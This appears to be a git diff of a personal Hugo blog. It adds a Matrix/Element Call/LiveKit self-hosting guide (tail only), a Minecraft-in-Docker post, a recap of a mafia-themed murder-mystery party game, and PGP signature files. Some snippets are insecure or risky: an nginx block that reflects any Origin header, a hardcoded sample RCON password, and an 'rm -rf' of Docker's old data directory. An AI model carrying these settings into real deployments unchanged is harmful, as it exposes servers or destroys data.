"turn:turn.example.com?transport=udp" + - "turn:turn.example.com?transport=tcp" + - "turns:turn.example.com:5349?transport=tcp" +turn_shared_secret: "" +turn_user_lifetime: "1d" +``` + +Verify the homeserver issues TURN creds: + +```bash +TOKEN='' +curl -s -H "Authorization: Bearer $TOKEN" \ + https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq +``` + +You should see `uris`, a time-limited `username` and `password`. + +--- + +## Nginx (host) for Synapse and federation + +Create `/etc/nginx/conf.d/matrix.conf`: + +```nginx +# Client traffic on 443 +server { + listen 443 ssl; listen [::]:443 ssl; + server_name matrix.example.com; + + ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; + + # Proxy client & admin APIs to Synapse (container) on 8008 + location ~ ^(/_matrix|/_synapse/client) { + proxy_pass http://127.0.0.1:8008; + proxy_set_header X-Forwarded-For $remote_addr; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Host $host; + client_max_body_size 50M; + } + + # Advertise homeserver base + RTC focus (MSC4143) via .well-known + location = /.well-known/matrix/client { + default_type application/json; + add_header Access-Control-Allow-Origin "*" always; + return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}'; + } +} + +# Federation on 8448 +server { + listen 8448 ssl http2; listen [::]:8448 ssl http2; + server_name matrix.example.com; + + ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:8008; + proxy_set_header X-Forwarded-For $remote_addr; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header Host $host; + client_max_body_size 50M; + } +} +``` + +Reload and sanity check: + +```bash +sudo nginx -t && sudo systemctl reload nginx +curl -s https://matrix.example.com/.well-known/matrix/client | jq +``` + +Also check Synapse supports RTC signaling (MSC4140) so clients actually use it: + +```bash +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"' +# expect: true +``` + +--- + +## Element Call + LiveKit + +I’ll run **LiveKit** and the small **JWT helper** (Element’s `elementcall_jwt`) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects. + +### 1) LiveKit config (`/etc/livekit.yaml` inside container) + +```yaml +port: 7880 +bind_addresses: ["0.0.0.0"] +rtc: + tcp_port: 7881 + port_range_start: 50100 + port_range_end: 50200 + use_external_ip: true +logging: + level: info +turn: + enabled: false +keys: + lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________" +``` + +> **Important:** the secret must be **>= 32 chars**. The default `devkey` will trigger `secret is too short` warnings and won’t work with the JWT helper. + +### 2) elementcall_jwt env + +Run it with: + +- `LIVEKIT_URL=wss://rtc.example.com` _(root WS URL, **no** `/livekit/sfu` path)_ +- `LIVEKIT_KEY=lk_prod_1` +- `LIVEKIT_SECRET=` +- `LIVEKIT_JWT_PORT=8080` (internal HTTP port the proxy will hit) +- Optionally: `LIVEKIT_FULL_ACCESS_HOMESERVERS=*` during setup + +Check logs on start; it prints the LIVEKIT_URL it will advertise. + +### 3) Nginx (host) for `rtc.example.com` + +Create `/etc/nginx/conf.d/rtc.conf`: + +```nginx +server { + listen 443 ssl; listen [::]:443 ssl; + server_name rtc.example.com; + + ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem; + + access_log /var/log/nginx/rtc.access.log combined; + + # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO) + location = /sfu/get { + proxy_hide_header Access-Control-Allow-Origin; + add_header Access-Control-Allow-Origin $http_origin always; + add_header Vary "Origin" always; + add_header Access-Control-Allow-Methods "POST, OPTIONS" always; + add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always; + if ($request_method = OPTIONS) { return 204; } + + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt + } + + # 3b) LiveKit WS & HTTP (catch-all) + location / { + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # "livekit" + proxy_set_header Origin $http_origin; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_buffering off; + proxy_read_timeout 3600s; + proxy_pass http://127.0.0.1:7880; # livekit + } +} +``` + +Reload and basic checks: + +```bash +sudo nginx -t && sudo systemctl reload nginx +# JWT preflight (should return a single ACAO header) +curl -si -X OPTIONS https://rtc.example.com/sfu/get \ + -H 'Origin: https://app.element.io' \ + -H 'Access-Control-Request-Method: POST' \ + -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p' +# Expected: one Access-Control-Allow-Origin and 200/204 +``` + +> **Why I did this:** I initially had **two** `Access-Control-Allow-Origin` headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything. + +--- + +## The “waiting for media” debugging story (how I found it) + +Symptom: Element Call created rooms, but calls stayed on **“waiting for media.”** + +What worked: +- `elementcall_jwt` could **CreateRoom** in LiveKit (seen in logs). +- TURN creds endpoint returned time-limited credentials. + +What didn’t appear: +- No **HTTP 101** lines in `rtc.access.log` → the **browser never established a WebSocket** to LiveKit. + +### Step 1: prove the WS vhost works (even without auth) + +```bash +curl -v --http1.1 \ + -H 'Connection: Upgrade' -H 'Upgrade: websocket' \ + -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \ + -H 'Sec-WebSocket-Version: 13' \ + https://rtc.example.com/rtc -o /dev/null +``` +Result: I got a `401` (expected), but importantly I saw a log line in `rtc.access.log`. So **Nginx WS proxying was fine**. + +### Step 2: check the browser console + +The smoking gun in DevTools: + +``` +Access-Control-Allow-Origin cannot contain more than one origin. +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks. +``` + +The browser refused the JWT call due to duplicated **ACAO** headers, so no token → no WebSocket connect. + +**Fix:** in Nginx I added: + +```nginx +proxy_hide_header Access-Control-Allow-Origin; +add_header Access-Control-Allow-Origin $http_origin always; +add_header Vary "Origin" always; +``` + +…and ensured no other `add_header` created duplicates. After that, `/sfu/get` succeeded and the WebSocket to `wss://rtc.example.com` immediately followed (I saw **HTTP 101** in the logs). + +### Step 3: confirm LiveKit side + +Once the WS was up, LiveKit logs showed participants joining (not just `RoomService.CreateRoom`), and calls were established. + +--- + +## Useful verification commands + +```bash +# Synapse features (expect MSC4140 true) +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"' + +# Well-known with RTC focus +curl -s https://matrix.example.com/.well-known/matrix/client | jq + +# TURN creds (with your access token) +curl -s -H "Authorization: Bearer $TOKEN" \ + https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq + +# JWT health +curl -si -X POST https://rtc.example.com/sfu/get + +# LiveKit simple HTTP probe +curl -si https://rtc.example.com | head + +# Nginx logs (look for 101 Switching Protocols when a call starts) +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 ' +``` + +--- + +## Common pitfalls (I hit these so you don’t have to) + +- **Host Nginx vs Docker Nginx:** If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get `bind() ... already in use` and restart loops. Use **host** Nginx to reverse proxy to containers. +- **Nginx `http2` directive:** Old Nginx may not support the `http2` directive on `listen`. Use `listen 443 ssl;` (and add `http2` if your version supports it). +- **Certificate name mismatch:** Make sure `rtc.example.com`’s vhost uses a certificate **for that exact hostname** (initially I had the `matrix.*` cert on `rtc.*` and curl complained). +- **Postgres collation:** Either initialize the cluster with `C` or use `allow_unsafe_locale: true` in Synapse DB config to get running quickly. +- **CORS duplication on `/sfu/get`:** Only ONE `Access-Control-Allow-Origin` header. If the upstream adds it too, use `proxy_hide_header Access-Control-Allow-Origin;` on the Nginx location. +- **Cloudflare:** Use **DNS-only** for `rtc.*`. Proxies can interfere with WS and UDP paths. +- **Firewall:** Open the LiveKit UDP range and TURN ports on both v4 and v6. + +--- + +## Final checklist (print me) + +- [ ] `https://matrix.example.com/.well-known/matrix/client` returns **both** `m.homeserver.base_url` and `org.matrix.msc4143.rtc_foci` pointing to `https://rtc.example.com`. +- [ ] `/_matrix/client/versions` shows `"org.matrix.msc4140": true`. +- [ ] `/sfu/get` **preflight** returns **one** `Access-Control-Allow-Origin` and **200/204**. +- [ ] Starting a call creates **HTTP 101** entries to `wss://rtc.example.com` in `rtc.access.log`. +- [ ] LiveKit logs show **participants joining** (not just CreateRoom). +- [ ] `/voip/turnServer` returns time-limited TURN credentials. +- [ ] Cloudflare set to **DNS-only** for `rtc.*`. UFW allows 7881/tcp and your LiveKit UDP range. + +--- + +### Credits & tooling + +- Matrix Synapse, coTURN, LiveKit, Element Call. +- `curl`, `jq`, `docker compose logs`, Nginx access logs. These are your best friends. +- The debugging breakthrough was catching CORS errors in the browser console and looking for **HTTP 101** in Nginx logs. + +Happy calling! 🎉 + +--- + +{{< sigdl >}} diff --git a/content/posts/minecraft_server.asc b/content/posts/minecraft_server.asc new file mode 100644 index 0000000..94551ff --- /dev/null +++ b/content/posts/minecraft_server.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAsYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9rkP/RNjRctt3alvjMKSqwPvFZVQ +o2gSnGxmSxgq7hxYc5bEEXvfRYtw6leMfdFeZ91w16OqLgIlwZb/B3iOimtyH7UB +vDpHfal3TLX9kaHjzWmLXbMhMY/ID1wf0ZceSXAgapPiRnp3LZgjB/eyKYvUE+ns +AlT2nxW6vJ/lUkf7boVLfi215bm96G37ygWwg4V+QWAaW9X+0RzcYwx4njxJv5NK +Q02fQuTah/Nb8/plBgUB0JJI5HaYKCEMs25818bmavbCsH1b9KujMCGx05RfkVfl +vOGCGv2GNJ/CjpCLyTgRm9p2eM2SoGzYEds5tHamsgHMJ5xFXQneDsC2C96ollhj +YmujUfHK7xKjyq8kyhCxKuz7+OEL2H1jXvosIqJorRZQUKZyv9vfMGeX1PIhUYbn +VlOr3KVJsiR81cBs9vOc88Y3Y3QyJBQ7unab/V8dFcJMrN8NqUYw17GWJm9enR2D +WenBkbGmpck/clIDz05zNXMry38RO4Xx9PEPFYUhw8+zMTeLSpNjHVt535JWWbln +avmWEqyVLEuX+62BNQv/xUhF81c+SIEqmJSbgeezIh0EprDOJtKwv3le5etZVj10 +OS0b87v+X9eSRarQahEXSbaes1dyAR0D4AF5xzMTxmC+MRN1xl00CEV+gIJti2xD +j2cjrN+PUnXxR8fSHzpg +=gvzQ +-----END PGP SIGNATURE----- diff --git a/content/posts/minecraft_server.md b/content/posts/minecraft_server.md new file mode 100644 index 0000000..8a70cd5 --- /dev/null +++ b/content/posts/minecraft_server.md @@ -0,0 +1,200 @@ +--- +title: "Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases" +date: 2025-09-29T09:06:29Z +draft: false +tags: ["minecraft", "docker", "paper", "papermod", "geyser", "linux", "lvm"] +categories: ["Homelab", "Games"] +toc: true +summary: "How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release." +--- + +## Why +I’ve been running a Java Minecraft world (with Bedrock players via **Geyser**) in `tmux`. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit: + +- `failed to register layer: ... no space left on device` +- Client saying: **“Outdated client, please use 1.21.9 Pre-Release 2”** +- Wanting config in a neat `.env` and **no whitelist** + +Here’s exactly what I did. + +--- + +## Folder layout +```bash +~/minecraft/ +├─ docker-compose.yml +├─ .env +└─ plugins/ +``` + +--- + +## `.env` (secrets & knobs) +Use the **latest stable** (not snapshots/pre-releases) by setting `VERSION=LATEST`. + +```env +# Minecraft server configuration +EULA=TRUE +TYPE=PAPER +VERSION=LATEST +MEMORY=4G +USE_AIKAR_FLAGS=true + +# RCON (remote console) +ENABLE_RCON=true +RCON_PASSWORD=superSecretPassword123 +``` + +> I don’t use a whitelist, so no `WHITELIST`/`ENFORCE_WHITELIST` variables. + +--- + +## `docker-compose.yml` +```yaml +services: + mc: + image: itzg/minecraft-server:latest + container_name: mc + restart: unless-stopped + ports: + - "25565:25565" # Java + - "19132:19132/udp" # Bedrock via Geyser plugin + env_file: + - .env + volumes: + - mc-data:/data + - ./plugins:/plugins:ro +volumes: + mc-data: {} +``` + +> The `version:` key in Compose is obsolete now, so I dropped it. + +--- + +## Add Geyser (and optional Floodgate) as plugins +```bash +mkdir -p ~/minecraft/plugins +cd ~/minecraft/plugins + +# Geyser (Spigot/Paper) +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar + +# Floodgate (optional: Bedrock accounts without Java linking) +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar +``` + +Start it up: +```bash +docker compose up -d +``` + +On first run, Geyser writes its config to `/data/plugins/Geyser-Spigot/`. Open UDP **19132** on your firewall. + +--- + +## Hit a wall: `/var` ran out of space +Docker stores layers at `/var/lib/docker` by default. My `/var` LV was tiny: + +``` +/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var +``` + +### Quick cleanup +```bash +docker system df +docker system prune -f +docker builder prune -af +sudo apt-get clean +sudo journalctl --vacuum-size=100M +``` + +If that’s not enough, you have two good options: + +### Option A — Move Docker’s data off `/var` +```bash +sudo systemctl stop docker +sudo mkdir -p /home/docker +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/ +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json +sudo systemctl start docker +docker info | grep "Docker Root Dir" +``` +If all looks good, free the old space: +```bash +sudo rm -rf /var/lib/docker/* +``` + +### Option B — Grow `/var` (LVM) +Check free space in the VG: +```bash +sudo vgdisplay # look for "Free PE / Size" +``` +If available, extend `/var` by +5G: +```bash +sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var +sudo resize2fs /dev/mapper/ubuntu--vg-var +``` + +--- + +## The version mismatch: pre-release vs stable +My logs showed: +``` +Starting minecraft server version 1.21.9 Pre-Release 2 +``` +That happens if the server pulls a pre-release build (or if `VERSION=LATEST`). Fix: + +1. Ensure `.env` has: + ```env + VERSION=LATEST_RELEASE + ``` +2. Recreate: + ```bash + docker compose down + docker compose pull + docker compose up -d + ``` +3. Verify: + ```bash + docker logs mc | grep "Starting minecraft server version" + # -> Starting minecraft server version 1.21.1 (example) + ``` + +> Tip: If you **want to pin** and avoid auto-updates entirely, set `VERSION=1.21.1` (or whatever stable you’ve validated). + +--- + +## No whitelist +Because I don’t set `WHITELIST`/`ENFORCE_WHITELIST`, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via: +```bash +docker exec -it mc rcon-cli "op YourJavaIGN" +``` +(or edit `/data/ops.json`). + +--- + +## Backup & updates +- World/data live under the `mc-data` volume → back up `/data` regularly. +- Update cleanly: + ```bash + docker compose pull && docker compose up -d + ``` +- Watch space: + ```bash + watch -n5 'df -h /var; docker system df' + ``` + +--- + +## TL;DR +- Put **Geyser/Floodgate** jars in `./plugins` and expose **19132/udp**. +- Keep configs in `.env`. +- Fix `/var` space by pruning, **moving Docker’s data-root**, or **extending `/var`** via LVM. +- Verify version in logs after each change. + +Happy block-breaking! 🧱🚀 + +--- + +{{< sigdl >}} diff --git a/content/posts/murder_mystery_night.asc b/content/posts/murder_mystery_night.asc new file mode 100644 index 0000000..1991a38 --- /dev/null +++ b/content/posts/murder_mystery_night.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAwYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qxdkP/1CuhwinoXks55Swn9wdn6B1 +6HCDCTvLWjxiJ3ix/g9uelB2VPiJa2wH72+RSReWiEBQG5W0fuW3iSHWQ9xouRcs +NWCmW/k+NdwmTv2I9PCuwaPwUg/BPPxMUS7Oo1Zog21lDM+fzpQkW8QAUZgpjdqz +0bbwYbQQJtHJa5oo8M7bx9pggCJMfLKtXafsP/p4zkGo0/mByAoDPW4u3MXkJZXj +YcCzesgfa+QW4SddXsWemxFtgaVlZqLywCanTd3dmWjNnfHcL03TpzxxQdd92i3g +sGy2Zv7/DjBfGOdvWfXuaMLDXWC9zDLmJbnYVNd2Rks7WOlyUe29UfZFII9u34ww +SgxFWDPu5MXAEfSDprBuyFZUjDh/HFXqp3WfOXNPh9V7/qH6hE3pLqZnV0RDGhYS +tZHVnS12b7mEoLtDj4LlgXAHGLhjXU/bq8bkVOATNyFPREVS96cW6ouafiCGp2In +dm3/NE97zXW8UqYSE5CzdqVPRiUL3JgqsfprvQMJtk1mbsiP1zl8+hFv3X2P4yQB +sBNsGRjtjNYPqE54EMQV9UglFWUSElCpmqs6yuNqPsdGt7OgJjaK2i0IMGEpig3K +Oc62SuntWeFi7VqH8fY47z3L2jjlQEFOSVSZwNCO12pK9DiJpUSB0MQwZ2GluPGy +NNu4bQAyPKanlq6BMODg +=tx76 +-----END PGP SIGNATURE----- diff --git a/content/posts/murder_mystery_night.md b/content/posts/murder_mystery_night.md new file mode 100644 index 0000000..0d99433 --- /dev/null +++ b/content/posts/murder_mystery_night.md @@ -0,0 +1,224 @@ + +--- +title: "La Plaza: The Falcones & the Morettis" +date: 2025-10-25T07:52:53Z +draft: false +tags: ["crime fiction","mafia","family tree","noir"] +showToc: true +summary: "Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war." +--- + +Last night I attended a ZiS event called "the Murder Mystery night". + +The story was about two families. The Falcones, and the Moretti family. + +> Gold-embossed invitations arrive at **La Plaza** for a celebration of life honoring **Salvatore Falcone**, recently slain Don. All members of the Moretti family are invited to the party! + +## Family Trees + +{{< mermaid >}} +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
dead boss"] +Serena["Serena
widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
underboss"] + Massimo["Massimo
lawyer"] + Fabiola["Fabiola
financial
advisor"] + Aurora["Aurora
associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
fixer
(Sophia's son)"] + Michelangelo["Michelangelo
enforcer
(Massimo's son)"] + Antonio["Antonio
hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +{{< /mermaid >}} + +{{< mermaid >}} +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
boss"] +Nicoletta["Nicoletta
bosswife"] +Claudia["Claudia
ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
underboss"] + Lucia["Lucia
associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
fixer"] + Santo["Santo
enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
finantial advisor"] +Benito ---|younger brother| Enrico +{{< /mermaid >}} + +--- + +## Who’s Who (quick dossiers) + +### Falcone notes +- **Salvatore Falcone (†)** — Former Don, killed under mysterious circumstances. +- **Serena** — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia. +- **Sophia** — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore. +- **Massimo** — Younger brother; justice-minded, hardened by his wife’s death. +- **Aurora** — Youngest; underestimated as naive or harmless, but observant. +- **Fabiola** — Ambitious financial brain; growth-focused, clashes with tradition. +- **Antonio** — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have. +- **Michelangelo** — Massimo’s son; enforcer torn by guilt over his mother’s murder. +- **Lorenzo** — Sophia’s son; quiet fixer who tidies messes, unflappable. + +### Moretti notes +- **Benito** — Calculating, paranoid Boss; obsessed with securing the bloodline through his son. +- **Nicoletta** — Benito’s wife; once a prostitute, now regal and cunning. +- **Sergio** — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the **game**. +- **Enrico** — Benito’s younger brother; accountant; clever, restless for influence. +- **Violetta** — The family’s ice-cold fixer; keeps things “clean,” whatever it costs. +- **Claudia** — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways. +- **Lucia** — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family. +- **Santo** — Lucia’s son; bold, admired and doubted in equal measure. + +Aside from these characters, there were two additional characters. +Falcon's priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them! + +> World sketch: the **Falcones** make problems *disappear* and launder fortunes behind bright lights and polished floors; the **Morettis** flaunt neon glamour while doing the real work in shadows. + +--- +After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon's house, and that I was out in a casino with Aurora. + +I didn't know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO + +So, without further of do, let's dive riiiiiiiiiight in!!!! Weeeee haaaaa xD + +### Act I, the dinner +We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that's what was written in our invitations. + +The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone. + +The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill. + +She said, "I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it." + +The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder. + +Violetta, our family’s ice-cold fixer, replied, "it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention". + +They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions. + +While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won't name here out of privacy). Thank you again for such an amazing event! + +### Act II, the invitations + +Sophia looked at us with her death smile and said, "I was involved with 9 invitations, the ones to our family, and nothing more." + +The room went into a deep silence. What did she mean? Who made Moretti's invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti's to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out? + +The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them. + +Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger... + +### Act III, the evidence +Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did. + +There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore's body from the other side. The third picture was of Salvatore's dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN. + +Massimo got up from his sit, pointing to an article about her wife's death. He stated how this was similar to her death, and how she died "The Moretti way". "She was shot and pushed down the stairs. What other evidence do you need?" said Massimo. + +Benito replied calmly, "But Salvatore didn't die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.". "Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.", said Sergio with a collected tone. + +Massimo wasn't convinced, but he knew they were right. He just could not forgive her wife's death. + +The room went into silence again. + +Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola's accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore's level, using the Falcones' casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it. + +In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: "Be careful". + +Serena pointed to Antonio, and he took out a piece of paper of the family's weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti's have with the youngest of the Falcones? + +Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio's report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones' that night, and that he was in a casino with Aurora; no further explanation was provided by him. + +Aurora didn't budge either. + +Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, "Doesn't that look like Santo's gun? Where were you that night, Santos?". "I was at home, with my mother", Santos replied, and Lucia nodded. + +It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up. + +### Act IV, the confessions + +The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard "there was another heir to Salvatore's fortune", that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child. + +The prostitute continued, "Benito ordered to kill her mistress before the child was born, but he didn't manage". She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage. + +Claudia wasn't feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her? + +The prostitute then continued. "Sergio is not Benito's son". Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito's son. Benito smiled. "Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause." + +Sergio did not smile, or any changes in his face. He was ice-cold. + +It was still not clear who plotted to kill Salvatore. Everyone was confused. + +It was time for deduction. + +### Act V, the killer(s) + +After a long discussion between all the family members, these were the conclusions. + +It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti's. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were. + +Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night. + +If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family's side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why? + +Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like "The Moretti" way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore's money, as with all ties broken, no one would suspect he was Salvatore's son. Nicoletta would also not talk, as she would lose everything if she confessed. + +Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn't mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti's side. + +It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday? + +Sophia was just disappointed with all of this. She didn't budge. + + +### The epilogue +Most people weren't sharing what they knew not to become sus! I didn't talk to everyone, but for example, the person who played Santo's role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I'm not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren't presenting everything they knew. + +Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event! + +--- + +{{< sigdl >}} diff --git a/content/posts/new_features.asc b/content/posts/new_features.asc new file mode 100644 index 0000000..5ae2669 --- /dev/null +++ b/content/posts/new_features.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + 